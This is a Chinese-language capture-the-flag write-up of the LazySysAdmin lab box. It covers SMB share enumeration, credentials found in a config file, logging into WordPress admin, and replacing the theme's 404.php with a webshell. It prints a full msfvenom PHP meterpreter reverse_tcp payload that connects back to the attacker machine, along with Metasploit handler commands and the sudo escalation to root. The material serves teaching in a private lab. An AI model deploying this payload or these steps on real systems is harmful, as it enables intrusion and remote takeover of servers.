CTF靶场训练-SMB服务信息泄露

Background

SMB(Server Message Block)通信协议是微软(Microsoft)和英特尔(Intel)在1987年制定的协议,主要是作为Microsoft网络的通讯协议。 后来Linux移植了SMB,并称为samba。
SMB用于在计算机间共享文件、打印机、串口等,电脑上的网上邻居J就是由它实现。
SMB协议是基于TCP-NETBIOS下的,一般端口使用为139,445。

实验环境

  • 攻击机:Kali - 192.168.0.105
  • 靶场机器: linux - 192.168.0.106

目的: 获取靶机flag

信息探测

对于只是给定一个IP地址的靶场机器,我们需要用对其进行扫描,探测开放的服务。
渗透其实是针对服务的漏洞探测,然后进行对应的数据包发送,获取机器的最高权限。

  • nmap -SV IP 挖掘开放服务信息
  • nmap -A -v -T4 IP 挖掘靶场全部信息
    image

靶机开口的服务【22(ssh)、80(http)、139,445(smb)、3306(mysql)等】

SMB协议弱点分析

  1. 针对SMB协议,使用空口令尝试登陆,并查看敏感文件,下载查看

    1
    2
    3
    smbclient -L IP      //列出某个IP地址所提供的共享文件夹
    smbclinet '\\IP\$share'
    get 敏感文件
  2. 针对SMB协议远程溢出漏洞进行分析。

    1
    searchsploit samba版本号

查看靶机的共享文件
image
image
发现share文件可以访问
通过get 下载敏感文件
image
image
文件钟有一个密码12345
发现配置文件
image
image
配置文件中有mysql账户名密码(Admin、TogieMYSQL12345^^);
尝试登陆mysql
image

登陆失败,服务器端不接受远程登陆
尝试ssh登陆,登陆失败
注:WordPress是使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。

http协议弱点分析

  1. 浏览器查看网址
  2. 使用dirb或nikto探测
  3. 寻找突破的目标,登陆后台,上传webshell

dirb扫描目录
image
发现wordpress后台管理页面
image
登陆之前的账号密码(Admin、TogieMYSQL12345^^)
image
成功登陆后台
我们可以上传一个webshell来达到控制机器的目的

制作webshell

因为后台是php编写的,所以我们上传一个php的shell

1
root@kali:~/test# msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.105 lport=4444 -f raw
1
<?php /**/ error_reporting(0); $ip = '192.168.0.105'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

上传webshell

使用找到的明信息登陆系统后台,上传webshell,执行webshell(访问具有webshell的php页面)

获得反弹的shell

wordpress 上传点 theme 404.php
执行:http://靶场IP/wordpress/wp-content/themes/twentyfifteen/404.php

找到404页面(Appearance->Editor->404.php)
image
替换源代码
image

用msf打开监听端口

1
2
3
4
5
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost=192.168.0.105
msf5 exploit(multi/handler) > show options
msf5 exploit(multi/handler) > run

浏览器打开404网页 执行webshell

1
http://192.168.0.106/wordpress/wp-content/themes/twentyfifteen/404.php

接受到一个shell
image
image

优化shell
image

查看所有用户
image

发现一个用户togie
切换用户,尝试密码12345
image

sudo切换为root用户,查看flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
togie@LazySysAdmin:/var/www/html/wordpress/wp-content/themes$ sudo -s
sudo -s
root@LazySysAdmin:/var/www/html/wordpress/wp-content/themes# ls /root
ls /root
proof.txt
root@LazySysAdmin:/var/www/html/wordpress/wp-content/themes# cat /root/proof.txt
<html/wordpress/wp-content/themes# cat /root/proof.txt
WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851


Well done :)

Hope you learn't a few things along the way.

Regards,

Togie Mcdogie




Enjoy some random strings

WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851
2d2v#X6x9%D6!DDf4xC1ds6YdOEjug3otDmc1$#slTET7
pf%&1nRpaj^68ZeV2St9GkdoDkj48Fl$MI97Zt2nebt02
bhO!5Je65B6Z0bhZhQ3W64wL65wonnQ$@yw%Zhy0U19pu
root@LazySysAdmin:/var/www/html/wordpress/wp-content/themes#

总结

  • 对于开放139和445端口的机器移动要注意是否可以直接使用smbclient登陆到共享目录查找敏感文件;
  • 一般情况下flag值都在/root目录下,并且都在/root目录下,并且需要提升root权限才能查看;